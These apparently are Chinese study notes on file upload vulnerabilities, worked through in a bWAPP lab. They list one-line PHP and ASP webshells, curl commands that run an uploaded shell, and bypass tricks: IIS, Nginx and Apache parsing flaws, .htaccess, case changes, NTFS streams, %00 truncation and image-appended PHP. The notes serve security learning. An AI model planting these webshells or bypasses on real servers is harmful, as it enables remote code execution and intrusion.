文件上传漏洞
docker pull registry.cn-shanghai.aliyuncs.com/yhskc/bwapp
docker run -d -p 0.0.0.0:80:80 registry.cn-shanghai.aliyuncs.com/yhskc/bwapp
访问:http://127.0.0.1:80/install.php







<?php @eval($_POST[“value”]);?>
<%execute(request("value"))%>
<%@ Page Language="Jscript"%> <%eval(Request.Item["value"])%>
<%eval request("value")%>
<%execute request("value")%> <%execute(request("value"))%>
-
eval
PHP4、PHP5、PHP7 eval ———— Evaluate a string as PHP code
Description
eval(string $code): mixed
<?php @eval($_POST['hacker']); ?>



curl -d "hacker=echo getcwd();" http://127.0.0.1/images/shell.php
curl -d "hacker=echo get_current_user();" http://127.0.0.1/images/shell.php


https://github.com/raddyfiy/caidao-official-version





上传绕过






https://httpd.apache.org/docs/2.4/
docker exec -it `docker ps | grep bwapp | awk -F ' ' '{print $1}'` bash
netstat -anlpt | grep 80
vim /etc/apache2/apache2.conf
cd /etc/apache2/mods-enabled
vim php5.conf



前端验证绕过、.htaccess绕过、大小写绕过
IIS 5.X/ 6.0解析漏洞
IIS在解析asp文件的时候,在IIS 5.X/ 6.0版本中会调用一个asp.dll动态链接库来解析我们要访问的文件资源时会触发这两种漏洞 逆向:使用IDA和F5插件逆向asp.dll就可以得到相关代码
-
漏洞1: 当创建.asp的文件目录的时候,在此目录下的任意文件,服务器都会解析为asp文件
www.xxx.com/xx.asp/xx.jgp 会被解析成asp文件
-
漏洞2:服务器默认不解析";"以后的内容
www.xxx.com/xx.asp;.jpg 会被解析成为asp文件
在低版本Nginx中存在一个由PHP-CGI导致的文件解析漏洞。 PHP的配置文件中有一个关键的选项cgi.fix_pathinfo在本机中位于php.ini配置文件中,默认是开启的。 当URL中有不存的文件时,PHP就会默认向前解析。
访问:wwww.xxx.com/phpinfo.jpg/1.php 当1.php不存在时就会解析phpinfo.jpg文件,但是按照PHP格式解析
Apache解析漏洞
Apache在1.x和2.x版本中存在解析漏洞: Apache从左至右开始判断后缀,跳过非可识别后缀,直到找到可识别后缀为止,然后将该可识别后缀进行解析。
当访问www.xxx.com/shell.php.text 服务器会解析shell.php.text文件,但是按照PHP文件格式进行解析
前端验证绕过
漏洞利用:
-
使用BurpSuite抓包,然后修改内容后放行.
-
同Chrome禁止/删除js代码
.htaccess绕过
.htaccess文件(分布式配置文件)提供了一个方法,是的配置文件可以随文件夹不同而不同,其所防止的文件夹及所有子文件夹都会受此影响,其语法同apache主配置文件。
漏洞利用:
1、上传一个.htaccess文件,文件内容设置为AddType application/x-httpd-php .test 将.text后缀文件解析为php文件类型 2、上传一句话木马文件,文件名设置为shell.test 3、在浏览器中访问shell.text即可执行一句话木马
大小写绕过
Window平台不区分大小写、Linux平台区分大小写 Linux+Apache 在系统启用加载speling模块,访问URL地址时就不区分大小写就可以正常访问页面
如: php改为pHp
Windows文件流特性绕过
什么是Windows文件流?
NTFS文件系统实现了多文件流特性,NTFS环境一个文件默认使用的是未命名的文件流,同时可创建其它命名的文件流,Windows资源管理器默认不显示出文件的命名文件流,这些命名的文件流在功能上和默认使用的未命名文件流一致,甚至可以用来启动程序。
我们来用Windows平台做一些测试: echo 111 > test.txt:111.txt echo test > test.txt echo 222 > test.txt::$data





%00截断绕过







cat test.php >> test.png
php test.png










浙公网安备 33010602011771号